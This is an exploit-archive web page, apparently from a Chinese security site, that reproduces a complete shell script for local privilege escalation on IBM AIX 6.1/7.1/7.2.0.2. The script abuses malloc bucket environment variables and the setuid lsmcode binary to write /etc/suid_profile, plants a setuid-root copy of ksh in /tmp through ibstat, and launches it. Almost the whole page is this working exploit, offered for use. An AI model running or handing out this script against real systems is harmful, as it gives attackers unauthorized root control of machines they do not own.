首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
IBM AIX 6.1/7.1/7.2.0.2 - 'lsmcode' Privilege Escalation
来源:https://rhinosecuritylabs.com 作者:Monsegur 发布时间:2016-11-07  
#!/usr/bin/sh
#
# AIX lsmcode local root exploit.
#
# Affected: AIX 6.1/7.1/7.2.0.2
#
# Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/
#
# lqueryroot.sh by @hxmonsegur [2016 //RSL]
 
ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
 
if [ ! -x "/usr/sbin/lsmcode" ]; then
    echo "[-] lsmcode isn't executable. Exploit failed."
    exit 1
fi
 
echo "[*] [lsmcode] AIX 6.1/7.1/7.2.0.2 Privilege escalation by @hxmonsegur //RSL"
echo "[*] Current id: `/usr/bin/id`"
echo "[*] Exporting variables"
 
MALLOCOPTIONS=buckets
MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile
export MALLOCOPTIONS MALLOCBUCKETS
 
echo "[*] Setting umask to 000"
umask 000
 
echo "[*] Executing vulnerable binary [lsmcode]"
/usr/sbin/lsmcode -c >/dev/null 2>&1
 
if [ ! -e "/etc/suid_profile" ]; then
    echo "[-] /etc/suid_profile does not exist and exploit failed."
    exit 1
fi
 
echo "[*] Cleaning up /etc/suid_profile"
echo > /etc/suid_profile
 
echo "[*] Preparing escalation"
cat << EOF >/etc/suid_profile
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm /etc/suid_profile
EOF
 
echo "[*] Cleaning up environment variables"
unset MALLOCBUCKETS MALLOCOPTIONS
 
echo "[*] Escalating"
/usr/bin/ibstat -a >/dev/null 2>&1
 
if [ ! -e "$ROOTSHELL" ]; then
    echo "[-] Rootshell does not exist and exploit failed."
    exit 1
fi
 
echo "[*] Executing rootshell"
$ROOTSHELL
echo "[*] Make sure to remove $ROOTSHELL"
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PCMan FTP Server 2.0.7 - 'ACCT
·IBM AIX 5.3/6.1/7.1/7.2 - 'lqu
·Axessh 4.2 - Denial Of Service
·Freefloat FTP Server 1.0 - 'SI
·SweetRice 1.5.1 - Arbitrary Fi
·PCMan FTP Server 2.0.7 - 'NLST
·Memcached 1.4.33 - PoC (3)
·PCMan FTP Server 2.0.7 - 'SITE
·Memcached 1.4.33 - PoC (2)
·PCMan FTP Server 2.0.7 - 'PORT
·Memcached 1.4.33 - PoC (1)
·BolinTech DreamFTP 1.02 - 'RET
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved